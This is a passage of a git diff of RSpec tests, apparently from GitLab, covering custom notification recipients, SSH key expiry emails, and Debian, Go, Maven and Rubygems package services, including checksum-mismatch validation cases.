it 'adds all subscribers' do
subscriber = create(:user)
non_subscriber = create(:user)
- create(:subscription, project: project, user: subscriber, subscribable: issue, subscribed: true)
- create(:subscription, project: project, user: non_subscriber, subscribable: issue, subscribed: false)
+ create(:subscription, project: project, user: subscriber, subscribable: target, subscribed: true)
+ create(:subscription, project: project, user: non_subscriber, subscribable: target, subscribed: false)
expect(subject.recipients.map(&:user)).to include(subscriber)
end
end
+
+ context 'custom notifications' do
+ shared_examples 'custom notification recipients' do
+ let_it_be(:custom_notification_user) { create(:user) }
+ let_it_be(:another_group) { create(:group) }
+ let_it_be(:another_project) { create(:project, namespace: another_group) }
+
+ context 'with project custom notification setting' do
+ before do
+ create(:notification_setting, source: project, user: custom_notification_user, level: :custom)
+ end
+
+ it 'adds the user to the recipients' do
+ expect(subject.recipients.map(&:user)).to include(custom_notification_user)
+ end
+ end
+
+ context 'with the project custom notification setting in another project' do
+ before do
+ create(:notification_setting, source: another_project, user: custom_notification_user, level: :custom)
+ end
+
+ it 'does not add the user to the recipients' do
+ expect(subject.recipients.map(&:user)).not_to include(custom_notification_user)
+ end
+ end
+
+ context 'with group custom notification setting' do
+ before do
+ create(:notification_setting, source: group, user: custom_notification_user, level: :custom)
+ end
+
+ it 'adds the user to the recipients' do
+ expect(subject.recipients.map(&:user)).to include(custom_notification_user)
+ end
+ end
+
+ context 'with the group custom notification setting in another group' do
+ before do
+ create(:notification_setting, source: another_group, user: custom_notification_user, level: :custom)
+ end
+
+ it 'does not add the user to the recipients' do
+ expect(subject.recipients.map(&:user)).not_to include(custom_notification_user)
+ end
+ end
+
+ context 'with project global custom notification setting' do
+ before do
+ create(:notification_setting, source: project, user: custom_notification_user, level: :global)
+ end
+
+ context 'with global custom notification setting' do
+ before do
+ create(:notification_setting, source: nil, user: custom_notification_user, level: :custom)
+ end
+
+ it 'adds the user to the recipients' do
+ expect(subject.recipients.map(&:user)).to include(custom_notification_user)
+ end
+ end
+
+ context 'without global custom notification setting' do
+ it 'does not add the user to the recipients' do
+ expect(subject.recipients.map(&:user)).not_to include(custom_notification_user)
+ end
+ end
+ end
+
+ context 'with group global custom notification setting' do
+ before do
+ create(:notification_setting, source: group, user: custom_notification_user, level: :global)
+ end
+
+ context 'with global custom notification setting' do
+ before do
+ create(:notification_setting, source: nil, user: custom_notification_user, level: :custom)
+ end
+
+ it 'adds the user to the recipients' do
+ expect(subject.recipients.map(&:user)).to include(custom_notification_user)
+ end
+ end
+
+ context 'without global custom notification setting' do
+ it 'does not add the user to the recipients' do
+ expect(subject.recipients.map(&:user)).not_to include(custom_notification_user)
+ end
+ end
+ end
+
+ context 'with group custom notification setting in deeply nested parent group' do
+ let(:grand_parent_group) { create(:group, :public) }
+ let(:parent_group) { create(:group, :public, parent: grand_parent_group) }
+ let(:group) { create(:group, :public, parent: parent_group) }
+ let(:project) { create(:project, :public, group: group).tap { |p| p.add_developer(project_watcher) } }
+ let(:target) { create(:issue, project: project) }
+
+ before do
+ create(:notification_setting, source: grand_parent_group, user: custom_notification_user, level: :custom)
+ end
+
+ it 'adds the user to the recipients' do
+ expect(subject.recipients.map(&:user)).to include(custom_notification_user)
+ end
+ end
+
+ context 'without a project or group' do
+ let(:target) { create(:snippet) }
+
+ before do
+ create(:notification_setting, source: nil, user: custom_notification_user, level: :custom)
+ end
+
+ it 'does not add the user to the recipients' do
+ expect(subject.recipients.map(&:user)).not_to include(custom_notification_user)
+ end
+ end
+ end
+
+ before do
+ stub_feature_flags(notification_setting_recipient_refactor: enabled)
+ end
+
+ context 'with notification_setting_recipient_refactor enabled' do
+ let(:enabled) { true }
+
+ it_behaves_like 'custom notification recipients'
+ end
+
+ context 'with notification_setting_recipient_refactor disabled' do
+ let(:enabled) { false }
+
+ it_behaves_like 'custom notification recipients'
+ end
+ end
end
end
diff --git a/spec/services/notification_service_spec.rb b/spec/services/notification_service_spec.rb
index f3cd2776ce7..6eff768eac2 100644
--- a/spec/services/notification_service_spec.rb
+++ b/spec/services/notification_service_spec.rb
@@ -105,7 +105,7 @@ RSpec.describe NotificationService, :mailer do
recipient_1 = NotificationRecipient.new(user_1, :custom, custom_action: :new_release)
allow(NotificationRecipients::BuildService).to receive(:build_new_release_recipients).and_return([recipient_1])
- expect(Gitlab::AppLogger).to receive(:warn).with(message: 'Skipping sending notifications', user: current_user.id, klass: object.class, object_id: object.id)
+ expect(Gitlab::AppLogger).to receive(:warn).with(message: 'Skipping sending notifications', user: current_user.id, klass: object.class.to_s, object_id: object.id)
action
@@ -290,6 +290,49 @@ RSpec.describe NotificationService, :mailer do
end
end
+ describe 'SSH Keys' do
+ let_it_be_with_reload(:user) { create(:user) }
+ let_it_be(:fingerprints) { ["aa:bb:cc:dd:ee:zz"] }
+
+ shared_context 'block user' do
+ before do
+ user.block!
+ end
+ end
+
+ describe '#ssh_key_expired' do
+ subject { notification.ssh_key_expired(user, fingerprints) }
+
+ it 'sends email to the token owner' do
+ expect { subject }.to have_enqueued_email(user, fingerprints, mail: "ssh_key_expired_email")
+ end
+
+ context 'when user is not allowed to receive notifications' do
+ include_context 'block user'
+
+ it 'does not send email to the token owner' do
+ expect { subject }.not_to have_enqueued_email(user, fingerprints, mail: "ssh_key_expired_email")
+ end
+ end
+ end
+
+ describe '#ssh_key_expiring_soon' do
+ subject { notification.ssh_key_expiring_soon(user, fingerprints) }
+
+ it 'sends email to the token owner' do
+ expect { subject }.to have_enqueued_email(user, fingerprints, mail: "ssh_key_expiring_soon_email")
+ end
+
+ context 'when user is not allowed to receive notifications' do
+ include_context 'block user'
+
+ it 'does not send email to the token owner' do
+ expect { subject }.not_to have_enqueued_email(user, fingerprints, mail: "ssh_key_expiring_soon_email")
+ end
+ end
+ end
+ end
+
describe '#unknown_sign_in' do
let_it_be(:user) { create(:user) }
let_it_be(:ip) { '127.0.0.1' }
@@ -1662,7 +1705,7 @@ RSpec.describe NotificationService, :mailer do
notification.issue_due(issue)
email = find_email_for(@subscriber)
- expect(email.header[:from].display_names).to eq([issue.author.name])
+ expect(email.header[:from].display_names).to eq(["#{issue.author.name} (@#{issue.author.username})"])
end
it_behaves_like 'participating notifications' do
diff --git a/spec/services/packages/create_dependency_service_spec.rb b/spec/services/packages/create_dependency_service_spec.rb
index 3ad59b31b2c..3eae9f099f7 100644
--- a/spec/services/packages/create_dependency_service_spec.rb
+++ b/spec/services/packages/create_dependency_service_spec.rb
@@ -5,7 +5,7 @@ RSpec.describe Packages::CreateDependencyService do
describe '#execute' do
let_it_be(:namespace) {create(:namespace)}
let_it_be(:version) { '1.0.1' }
- let_it_be(:package_name) { "@#{namespace.path}/my-app".freeze }
+ let_it_be(:package_name) { "@#{namespace.path}/my-app" }
context 'when packages are published' do
let(:json_file) { 'packages/npm/payload.json' }
diff --git a/spec/services/packages/debian/extract_changes_metadata_service_spec.rb b/spec/services/packages/debian/extract_changes_metadata_service_spec.rb
new file mode 100644
index 00000000000..2a92b8ed26e
--- /dev/null
+++ b/spec/services/packages/debian/extract_changes_metadata_service_spec.rb
@@ -0,0 +1,160 @@
+# frozen_string_literal: true
+require 'spec_helper'
+
+RSpec.describe Packages::Debian::ExtractChangesMetadataService do
+ describe '#execute' do
+ let_it_be(:distribution) { create(:debian_project_distribution, codename: 'unstable') }
+ let_it_be(:incoming) { create(:debian_incoming, project: distribution.project) }
+
+ let(:package_file) { incoming.package_files.last }
+ let(:service) { described_class.new(package_file) }
+
+ subject { service.execute }
+
+ context 'with valid package file' do
+ it 'extract metadata', :aggregate_failures do
+ expected_fields = { 'Architecture' => 'source amd64', 'Binary' => 'libsample0 sample-dev sample-udeb' }
+
+ expect(subject[:file_type]).to eq(:changes)
+ expect(subject[:architecture]).to be_nil
+ expect(subject[:fields]).to include(expected_fields)
+ expect(subject[:files].count).to eq(6)
+ end
+ end
+
+ context 'with invalid package file' do
+ let(:package_file) { incoming.package_files.first }
+
+ it 'raise ArgumentError', :aggregate_failures do
+ expect { subject }.to raise_error(described_class::ExtractionError, "is not a changes file")
+ end
+ end
+
+ context 'with invalid metadata' do
+ let(:md5_dsc) { '3b0817804f669e16cdefac583ad88f0e 671 libs optional sample_1.2.3~alpha2.dsc' }
+ let(:md5_source) { 'd79b34f58f61ff4ad696d9bd0b8daa68 864 libs optional sample_1.2.3~alpha2.tar.xz' }
+ let(:md5s) { "#{md5_dsc}\n#{md5_source}" }
+ let(:sha1_dsc) { '32ecbd674f0bfd310df68484d87752490685a8d6 671 sample_1.2.3~alpha2.dsc' }
+ let(:sha1_source) { '5f8bba5574eb01ac3b1f5e2988e8c29307788236 864 sample_1.2.3~alpha2.tar.xz' }
+ let(:sha1s) { "#{sha1_dsc}\n#{sha1_source}" }
+ let(:sha256_dsc) { '844f79825b7e8aaa191e514b58a81f9ac1e58e2180134b0c9512fa66d896d7ba 671 sample_1.2.3~alpha2.dsc' }
+ let(:sha256_source) { 'b5a599e88e7cbdda3bde808160a21ba1dd1ec76b2ec8d4912aae769648d68362 864 sample_1.2.3~alpha2.tar.xz' }
+ let(:sha256s) { "#{sha256_dsc}\n#{sha256_source}" }
+ let(:fields) { { 'Files' => md5s, 'Checksums-Sha1' => sha1s, 'Checksums-Sha256' => sha256s } }
+ let(:metadata) { { file_type: :changes, architecture: 'amd64', fields: fields } }
+
+ before do
+ allow_next_instance_of(::Packages::Debian::ExtractMetadataService) do |extract_metadata_service|
+ allow(extract_metadata_service).to receive(:execute).and_return(metadata)
+ end
+ end
+
+ context 'without Files field' do
+ let(:md5s) { nil }
+
+ it 'raise ArgumentError', :aggregate_failures do
+ expect { subject }.to raise_error(described_class::ExtractionError, "Files field is missing")
+ end
+ end
+
+ context 'without Checksums-Sha1 field' do
+ let(:sha1s) { nil }
+
+ it 'raise ArgumentError', :aggregate_failures do
+ expect { subject }.to raise_error(described_class::ExtractionError, "Checksums-Sha1 field is missing")
+ end
+ end
+
+ context 'without Checksums-Sha256 field' do
+ let(:sha256s) { nil }
+
+ it 'raise ArgumentError', :aggregate_failures do
+ expect { subject }.to raise_error(described_class::ExtractionError, "Checksums-Sha256 field is missing")
+ end
+ end
+
+ context 'with file in Checksums-Sha1 but not in Files' do
+ let(:md5_dsc) { '' }
+
+ it 'raise ArgumentError', :aggregate_failures do
+ expect { subject }.to raise_error(described_class::ExtractionError, "sample_1.2.3~alpha2.dsc is listed in Checksums-Sha1 but not in Files")
+ end
+ end
+
+ context 'with different size in Checksums-Sha1' do
+ let(:sha1_dsc) { '32ecbd674f0bfd310df68484d87752490685a8d6 42 sample_1.2.3~alpha2.dsc' }
+
+ it 'raise ArgumentError', :aggregate_failures do
+ expect { subject }.to raise_error(described_class::ExtractionError, "Size for sample_1.2.3~alpha2.dsc in Files and Checksums-Sha1 differ")
+ end
+ end
+
+ context 'with file in Checksums-Sha256 but not in Files' do
+ let(:md5_dsc) { '' }
+ let(:sha1_dsc) { '' }
+
+ it 'raise ArgumentError', :aggregate_failures do
+ expect { subject }.to raise_error(described_class::ExtractionError, "sample_1.2.3~alpha2.dsc is listed in Checksums-Sha256 but not in Files")
+ end
+ end
+
+ context 'with different size in Checksums-Sha256' do
+ let(:sha256_dsc) { '844f79825b7e8aaa191e514b58a81f9ac1e58e2180134b0c9512fa66d896d7ba 42 sample_1.2.3~alpha2.dsc' }
+
+ it 'raise ArgumentError', :aggregate_failures do
+ expect { subject }.to raise_error(described_class::ExtractionError, "Size for sample_1.2.3~alpha2.dsc in Files and Checksums-Sha256 differ")
+ end
+ end
+
+ context 'with file in Files but not in Checksums-Sha1' do
+ let(:sha1_dsc) { '' }
+
+ it 'raise ArgumentError', :aggregate_failures do
+ expect { subject }.to raise_error(described_class::ExtractionError, "Validation failed: Sha1sum can't be blank")
+ end
+ end
+
+ context 'with file in Files but not in Checksums-Sha256' do
+ let(:sha256_dsc) { '' }
+
+ it 'raise ArgumentError', :aggregate_failures do
+ expect { subject }.to raise_error(described_class::ExtractionError, "Validation failed: Sha256sum can't be blank")
+ end
+ end
+
+ context 'with invalid MD5' do
+ let(:md5_dsc) { '1234567890123456789012345678012 671 libs optional sample_1.2.3~alpha2.dsc' }
+
+ it 'raise ArgumentError', :aggregate_failures do
+ expect { subject }.to raise_error(described_class::ExtractionError, "Validation failed: Md5sum mismatch for sample_1.2.3~alpha2.dsc: 3b0817804f669e16cdefac583ad88f0e != 1234567890123456789012345678012")
+ end
+ end
+
+ context 'with invalid SHA1' do
+ let(:sha1_dsc) { '1234567890123456789012345678901234567890 671 sample_1.2.3~alpha2.dsc' }
+
+ it 'raise ArgumentError', :aggregate_failures do
+ expect { subject }.to raise_error(described_class::ExtractionError, "Validation failed: Sha1sum mismatch for sample_1.2.3~alpha2.dsc: 32ecbd674f0bfd310df68484d87752490685a8d6 != 1234567890123456789012345678901234567890")
+ end
+ end
+
+ context 'with invalid SHA256' do
+ let(:sha256_dsc) { '1234567890123456789012345678901234567890123456789012345678901234 671 sample_1.2.3~alpha2.dsc' }
+
+ it 'raise ArgumentError', :aggregate_failures do
+ expect { subject }.to raise_error(described_class::ExtractionError, "Validation failed: Sha256sum mismatch for sample_1.2.3~alpha2.dsc: 844f79825b7e8aaa191e514b58a81f9ac1e58e2180134b0c9512fa66d896d7ba != 1234567890123456789012345678901234567890123456789012345678901234")
+ end
+ end
+ end
+
+ context 'with missing package file' do
+ before do
+ incoming.package_files.first.destroy!
+ end
+
+ it 'raise ArgumentError' do
+ expect { subject }.to raise_error(described_class::ExtractionError, "sample_1.2.3~alpha2.tar.xz is listed in Files but was not uploaded")
+ end
+ end
+ end
+end
diff --git a/spec/services/packages/debian/extract_deb_metadata_service_spec.rb b/spec/services/packages/debian/extract_deb_metadata_service_spec.rb
index 33059adf8a2..ee3f3d179dc 100644
--- a/spec/services/packages/debian/extract_deb_metadata_service_spec.rb
+++ b/spec/services/packages/debian/extract_deb_metadata_service_spec.rb
@@ -10,17 +10,17 @@ RSpec.describe Packages::Debian::ExtractDebMetadataService do
context 'with correct file' do
it 'return as expected' do
expected = {
- 'Package': 'libsample0',
- 'Source': 'sample',
- 'Version': '1.2.3~alpha2',
- 'Architecture': 'amd64',
- 'Maintainer': 'John Doe <john.doe@example.com>',
- 'Installed-Size': '7',
- 'Section': 'libs',
- 'Priority': 'optional',
- 'Multi-Arch': 'same',
- 'Homepage': 'https://gitlab.com/',
- 'Description': "Some mostly empty lib\nUsed in GitLab tests.\n\nTesting another paragraph."
+ 'Package' => 'libsample0',
+ 'Source' => 'sample',
+ 'Version' => '1.2.3~alpha2',
+ 'Architecture' => 'amd64',
+ 'Maintainer' => 'John Doe <john.doe@example.com>',
+ 'Installed-Size' => '7',
+ 'Section' => 'libs',
+ 'Priority' => 'optional',
+ 'Multi-Arch' => 'same',
+ 'Homepage' => 'https://gitlab.com/',
+ 'Description' => "Some mostly empty lib\nUsed in GitLab tests.\n\nTesting another paragraph."
}
expect(subject.execute).to eq expected
diff --git a/spec/services/packages/debian/extract_metadata_service_spec.rb b/spec/services/packages/debian/extract_metadata_service_spec.rb
index 0aa9a67b263..e3911dbbfe0 100644
--- a/spec/services/packages/debian/extract_metadata_service_spec.rb
+++ b/spec/services/packages/debian/extract_metadata_service_spec.rb
@@ -33,11 +33,11 @@ RSpec.describe Packages::Debian::ExtractMetadataService do
where(:case_name, :trait, :expected_file_type, :expected_architecture, :expected_fields) do
'with invalid' | :invalid | :unknown | nil | nil
'with source' | :source | :source | nil | nil
- 'with dsc' | :dsc | :dsc | nil | { 'Binary': 'sample-dev, libsample0, sample-udeb' }
- 'with deb' | :deb | :deb | 'amd64' | { 'Multi-Arch': 'same' }
- 'with udeb' | :udeb | :udeb | 'amd64' | { 'Package': 'sample-udeb' }
- 'with buildinfo' | :buildinfo | :buildinfo | nil | { 'Architecture': 'amd64 source', 'Build-Architecture': 'amd64' }
- 'with changes' | :changes | :changes | nil | { 'Architecture': 'source amd64', 'Binary': 'libsample0 sample-dev sample-udeb' }
+ 'with dsc' | :dsc | :dsc | nil | { 'Binary' => 'sample-dev, libsample0, sample-udeb' }
+ 'with deb' | :deb | :deb | 'amd64' | { 'Multi-Arch' => 'same' }
+ 'with udeb' | :udeb | :udeb | 'amd64' | { 'Package' => 'sample-udeb' }
+ 'with buildinfo' | :buildinfo | :buildinfo | nil | { 'Architecture' => 'amd64 source', 'Build-Architecture' => 'amd64' }
+ 'with changes' | :changes | :changes | nil | { 'Architecture' => 'source amd64', 'Binary' => 'libsample0 sample-dev sample-udeb' }
end
with_them do
diff --git a/spec/services/packages/debian/parse_debian822_service_spec.rb b/spec/services/packages/debian/parse_debian822_service_spec.rb
index b67daca89c4..f43e38991ce 100644
--- a/spec/services/packages/debian/parse_debian822_service_spec.rb
+++ b/spec/services/packages/debian/parse_debian822_service_spec.rb
@@ -27,17 +27,17 @@ RSpec.describe Packages::Debian::ParseDebian822Service do
it 'return as expected, preserving order' do
expected = {
'Package: libsample0' => {
- 'Package': 'libsample0',
- 'Source': 'sample',
- 'Version': '1.2.3~alpha2',
- 'Architecture': 'amd64',
- 'Maintainer': 'John Doe <john.doe@example.com>',
- 'Installed-Size': '9',
- 'Section': 'libs',
- 'Priority': 'optional',
- 'Multi-Arch': 'same',
- 'Homepage': 'https://gitlab.com/',
- 'Description': "Some mostly empty lib\nUsed in GitLab tests.\n\nTesting another paragraph."
+ 'Package' => 'libsample0',
+ 'Source' => 'sample',
+ 'Version' => '1.2.3~alpha2',
+ 'Architecture' => 'amd64',
+ 'Maintainer' => 'John Doe <john.doe@example.com>',
+ 'Installed-Size' => '9',
+ 'Section' => 'libs',
+ 'Priority' => 'optional',
+ 'Multi-Arch' => 'same',
+ 'Homepage' => 'https://gitlab.com/',
+ 'Description' => "Some mostly empty lib\nUsed in GitLab tests.\n\nTesting another paragraph."
}
}
@@ -51,38 +51,38 @@ RSpec.describe Packages::Debian::ParseDebian822Service do
it 'return as expected, preserving order' do
expected = {
'Source: sample' => {
- 'Source': 'sample',
- 'Priority': 'optional',
- 'Maintainer': 'John Doe <john.doe@example.com>',
- 'Build-Depends': 'debhelper-compat (= 13)',
- 'Standards-Version': '4.5.0',
- 'Section': 'libs',
- 'Homepage': 'https://gitlab.com/',
- # 'Vcs-Browser': 'https://salsa.debian.org/debian/sample-1.2.3',
- # '#Vcs-Git': 'https://salsa.debian.org/debian/sample-1.2.3.git',
- 'Rules-Requires-Root': 'no'
+ 'Source' => 'sample',
+ 'Priority' => 'optional',
+ 'Maintainer' => 'John Doe <john.doe@example.com>',
+ 'Build-Depends' => 'debhelper-compat (= 13)',
+ 'Standards-Version' => '4.5.0',
+ 'Section' => 'libs',
+ 'Homepage' => 'https://gitlab.com/',
+ # 'Vcs-Browser' => 'https://salsa.debian.org/debian/sample-1.2.3',
+ # '#Vcs-Git' => 'https://salsa.debian.org/debian/sample-1.2.3.git',
+ 'Rules-Requires-Root' => 'no'
},
'Package: sample-dev' => {
- 'Package': 'sample-dev',
- 'Section': 'libdevel',
- 'Architecture': 'any',
- 'Multi-Arch': 'same',
- 'Depends': 'libsample0 (= ${binary:Version}), ${misc:Depends}',
- 'Description': "Some mostly empty developpement files\nUsed in GitLab tests.\n\nTesting another paragraph."
+ 'Package' => 'sample-dev',
+ 'Section' => 'libdevel',
+ 'Architecture' => 'any',
+ 'Multi-Arch' => 'same',
+ 'Depends' => 'libsample0 (= ${binary:Version}), ${misc:Depends}',
+ 'Description' => "Some mostly empty developpement files\nUsed in GitLab tests.\n\nTesting another paragraph."
},
'Package: libsample0' => {
- 'Package': 'libsample0',
- 'Architecture': 'any',
- 'Multi-Arch': 'same',
- 'Depends': '${shlibs:Depends}, ${misc:Depends}',
- 'Description': "Some mostly empty lib\nUsed in GitLab tests.\n\nTesting another paragraph."
+ 'Package' => 'libsample0',
+ 'Architecture' => 'any',
+ 'Multi-Arch' => 'same',
+ 'Depends' => '${shlibs:Depends}, ${misc:Depends}',
+ 'Description' => "Some mostly empty lib\nUsed in GitLab tests.\n\nTesting another paragraph."
},
'Package: sample-udeb' => {
- 'Package': 'sample-udeb',
- 'Package-Type': 'udeb',
- 'Architecture': 'any',
- 'Depends': 'installed-base',
- 'Description': 'Some mostly empty udeb'
+ 'Package' => 'sample-udeb',
+ 'Package-Type' => 'udeb',
+ 'Architecture' => 'any',
+ 'Depends' => 'installed-base',
+ 'Description' => 'Some mostly empty udeb'
}
}
diff --git a/spec/services/packages/debian/process_changes_service_spec.rb b/spec/services/packages/debian/process_changes_service_spec.rb
new file mode 100644
index 00000000000..98b531bde10
--- /dev/null
+++ b/spec/services/packages/debian/process_changes_service_spec.rb
@@ -0,0 +1,58 @@
+# frozen_string_literal: true
+require 'spec_helper'
+
+RSpec.describe Packages::Debian::ProcessChangesService do
+ describe '#execute' do
+ let_it_be(:user) { create(:user) }
+ let_it_be_with_reload(:distribution) { create(:debian_project_distribution, :with_file, codename: 'unstable') }
+ let_it_be(:incoming) { create(:debian_incoming, project: distribution.project) }
+
+ let(:package_file) { incoming.package_files.last }
+
+ subject { described_class.new(package_file, user) }
+
+ context 'with valid package file' do
+ it 'updates package and package file', :aggregate_failures do
+ expect { subject.execute }
+ .to change { Packages::Package.count }.from(1).to(2)
+ .and not_change { Packages::PackageFile.count }
+ .and change { incoming.package_files.count }.from(7).to(0)
+
+ created_package = Packages::Package.last
+ expect(created_package.name).to eq 'sample'
+ expect(created_package.version).to eq '1.2.3~alpha2'
+ expect(created_package.creator).to eq user
+ end
+ end
+
+ context 'with invalid package file' do
+ let(:package_file) { incoming.package_files.first }
+
+ it 'raise ExtractionError', :aggregate_failures do
+ expect { subject.execute }
+ .to not_change { Packages::Package.count }
+ .and not_change { Packages::PackageFile.count }
+ .and not_change { incoming.package_files.count }
+ .and not_change { distribution.reload.needs_update? }
+ .and raise_error(Packages::Debian::ExtractChangesMetadataService::ExtractionError, 'is not a changes file')
+ end
+ end
+
+ context 'when creating package fails' do
+ before do
+ allow_next_instance_of(::Packages::Debian::FindOrCreatePackageService) do |find_or_create_package_service|
+ expect(find_or_create_package_service).to receive(:execute).and_raise(ActiveRecord::ConnectionTimeoutError, 'connect timeout')
+ end
+ end
+
+ it 'remove the package file', :aggregate_failures do
+ expect { subject.execute }
+ .to not_change { Packages::Package.count }
+ .and not_change { Packages::PackageFile.count }
+ .and not_change { incoming.package_files.count }
+ .and not_change { distribution.reload.needs_update? }
+ .and raise_error(ActiveRecord::ConnectionTimeoutError, 'connect timeout')
+ end
+ end
+ end
+end
diff --git a/spec/services/packages/go/create_package_service_spec.rb b/spec/services/packages/go/create_package_service_spec.rb
new file mode 100644
index 00000000000..5c5fec0aa3a
--- /dev/null
+++ b/spec/services/packages/go/create_package_service_spec.rb
@@ -0,0 +1,73 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Packages::Go::CreatePackageService do
+ let_it_be(:project) { create :project_empty_repo, path: 'my-go-lib' }
+ let_it_be(:mod) { create :go_module, project: project }
+
+ before :all do
+ create :go_module_commit, :module, project: project, tag: 'v1.0.0'
+ end
+
+ shared_examples 'creates a package' do |files:|
+ it "returns a valid package with #{files ? files.to_s : 'no'} file(s)" do
+ expect(subject).to be_valid
+ expect(subject.name).to eq(version.mod.name)
+ expect(subject.version).to eq(version.name)
+ expect(subject.package_type).to eq('golang')
+ expect(subject.created_at).to eq(version.commit.committed_date)
+ expect(subject.package_files.count).to eq(files)
+ end
+ end
+
+ shared_examples 'creates a package file' do |type|
+ it "returns a package with a #{type} file" do
+ file_name = "#{version.name}.#{type}"
+ expect(subject.package_files.map { |f| f.file_name }).to include(file_name)
+
+ file = subject.package_files.with_file_name(file_name).first
+ expect(file).not_to be_nil
+ expect(file.file).not_to be_nil
+ expect(file.size).to eq(file.file.size)
+ expect(file.file_name).to eq(file_name)
+ expect(file.file_md5).not_to be_nil
+ expect(file.file_sha1).not_to be_nil
+ expect(file.file_sha256).not_to be_nil
+ end
+ end
+
+ describe '#execute' do
+ subject { described_class.new(project, nil, version: version).execute }
+
+ let(:version) { create :go_module_version, :tagged, mod: mod, name: 'v1.0.0' }
+
+ context 'with no existing package' do
+ it_behaves_like 'creates a package', files: 2
+ it_behaves_like 'creates a package file', :mod
+ it_behaves_like 'creates a package file', :zip
+
+ it 'creates a new package' do
+ expect { subject }
+ .to change { project.packages.count }.by(1)
+ .and change { Packages::PackageFile.count }.by(2)
+ end
+ end
+
+ context 'with an existing package' do
+ before do
+ described_class.new(project, version: version).execute
+ end
+
+ it_behaves_like 'creates a package', files: 2
+ it_behaves_like 'creates a package file', :mod
+ it_behaves_like 'creates a package file', :zip
+
+ it 'does not create a package or files' do
+ expect { subject }
+ .to not_change { project.packages.count }
+ .and not_change { Packages::PackageFile.count }
+ end
+ end
+ end
+end
diff --git a/spec/services/packages/go/sync_packages_service_spec.rb b/spec/services/packages/go/sync_packages_service_spec.rb
new file mode 100644
index 00000000000..565b0f252ce
--- /dev/null
+++ b/spec/services/packages/go/sync_packages_service_spec.rb
@@ -0,0 +1,40 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Packages::Go::SyncPackagesService do
+ include_context 'basic Go module'
+
+ let(:params) { { info: true, mod: true, zip: true } }
+
+ describe '#execute_async' do
+ it 'schedules a package refresh' do
+ expect(::Packages::Go::SyncPackagesWorker).to receive(:perform_async).once
+
+ described_class.new(project, 'master').execute_async
+ end
+ end
+
+ describe '#initialize' do
+ context 'without a project' do
+ it 'raises an error' do
+ expect { described_class.new(nil, 'master') }
+ .to raise_error(ArgumentError, 'project is required')
+ end
+ end
+
+ context 'without a ref' do
+ it 'raises an error' do
+ expect { described_class.new(project, nil) }
+ .to raise_error(ArgumentError, 'ref is required')
+ end
+ end
+
+ context 'with an invalid ref' do
+ it 'raises an error' do
+ expect { described_class.new(project, 'not-a-ref') }
+ .to raise_error(ArgumentError)
+ end
+ end
+ end
+end
diff --git a/spec/services/packages/maven/metadata/sync_service_spec.rb b/spec/services/packages/maven/metadata/sync_service_spec.rb
index f5634159e6d..30ddb48207a 100644
--- a/spec/services/packages/maven/metadata/sync_service_spec.rb
+++ b/spec/services/packages/maven/metadata/sync_service_spec.rb
@@ -131,7 +131,7 @@ RSpec.describe ::Packages::Maven::Metadata::SyncService do
expect(::Packages::Maven::Metadata::CreateVersionsXmlService).not_to receive(:new)
end
- it_behaves_like 'returning an error service response', message: 'Non existing versionless package'
+ it_behaves_like 'returning a success service response', message: 'Non existing versionless package(s). Nothing to do.'
end
context 'without a metadata package file for versions' do
@@ -141,7 +141,7 @@ RSpec.describe ::Packages::Maven::Metadata::SyncService do
expect(::Packages::Maven::Metadata::CreateVersionsXmlService).not_to receive(:new)
end
- it_behaves_like 'returning an error service response', message: 'Non existing metadata file for versions'
+ it_behaves_like 'returning a success service response', message: 'Non existing versionless package(s). Nothing to do.'
end
context 'without a project' do
@@ -205,7 +205,7 @@ RSpec.describe ::Packages::Maven::Metadata::SyncService do
it_behaves_like 'returning a success service response', message: 'Versionless package for versions destroyed'
end
- context 'with a too big maven metadata file for versions' do
+ context 'with a too big maven metadata file for plugins' do
before do
metadata_file_for_plugins.update!(size: 100.megabytes)
end
@@ -244,6 +244,15 @@ RSpec.describe ::Packages::Maven::Metadata::SyncService do
it_behaves_like 'returning a success service response', message: 'New metadata package files created'
end
+ context 'without a versionless package for versions' do
+ before do
+ versionless_package_for_versions.package_files.update_all(file_name: 'test.txt')
+ expect(::Packages::Maven::Metadata::CreateVersionsXmlService).not_to receive(:new)
+ end
+
+ it_behaves_like 'returning a success service response', message: 'No changes for plugins xml'
+ end
+
context 'without a metadata package file for plugins' do
before do
versionless_package_for_plugins.package_files.update_all(file_name: 'test.txt')
diff --git a/spec/services/packages/rubygems/create_dependencies_service_spec.rb b/spec/services/packages/rubygems/create_dependencies_service_spec.rb
new file mode 100644
index 00000000000..b6e12b1cc61
--- /dev/null
+++ b/spec/services/packages/rubygems/create_dependencies_service_spec.rb
@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+require 'spec_helper'
+
+RSpec.describe Packages::Rubygems::CreateDependenciesService do
+ include RubygemsHelpers
+
+ let_it_be(:package) { create(:rubygems_package) }
+ let_it_be(:package_file) { create(:package_file, :gem) }
+ let_it_be(:gem) { gem_from_file(package_file.file) }
+ let_it_be(:gemspec) { gem.spec }
+
+ let(:service) { described_class.new(package, gemspec) }
+
+ describe '#execute' do
+ subject { service.execute }
+
+ it 'creates dependencies', :aggregate_failures do
+ expect { subject }.to change { Packages::Dependency.count }.by(4)
+
+ gemspec.dependencies.each do |dependency|
+ persisted_dependency = Packages::Dependency.find_by(name: dependency.name)
+
+ expect(persisted_dependency.version_pattern).to eq dependency.requirement.to_s
+ end
+ end
+
+ it 'links dependencies to the package' do
+ expect { subject }.to change { package.dependency_links.count }.by(4)
+
+ expect(package.dependency_links.first).to be_dependencies
+ end
+ end
+end
diff --git a/spec/services/packages/rubygems/create_gemspec_service_spec.rb b/spec/services/packages/rubygems/create_gemspec_service_spec.rb
new file mode 100644
index 00000000000..198e978a47e
--- /dev/null
+++ b/spec/services/packages/rubygems/create_gemspec_service_spec.rb
@@ -0,0 +1,28 @@
+# frozen_string_literal: true
+require 'spec_helper'
+
+RSpec.describe Packages::Rubygems::CreateGemspecService do
+ include RubygemsHelpers
+
+ let_it_be(:package_file) { create(:package_file, :gem) }
+ let_it_be(:gem) { gem_from_file(package_file.file) }
+ let_it_be(:gemspec) { gem.spec }
+ let_it_be(:package) { package_file.package }
+
+ let(:service) { described_class.new(package, gemspec) }
+
+ describe '#execute' do
+ subject { service.execute }
+
+ it 'creates a new package file', :aggregate_failures do
+ expect { subject }.to change { package.package_files.count }.by(1)
+
+ gemspec_file = package.package_files.find_by(file_name: "#{gemspec.name}.gemspec")
+ expect(gemspec_file.file).not_to be_nil
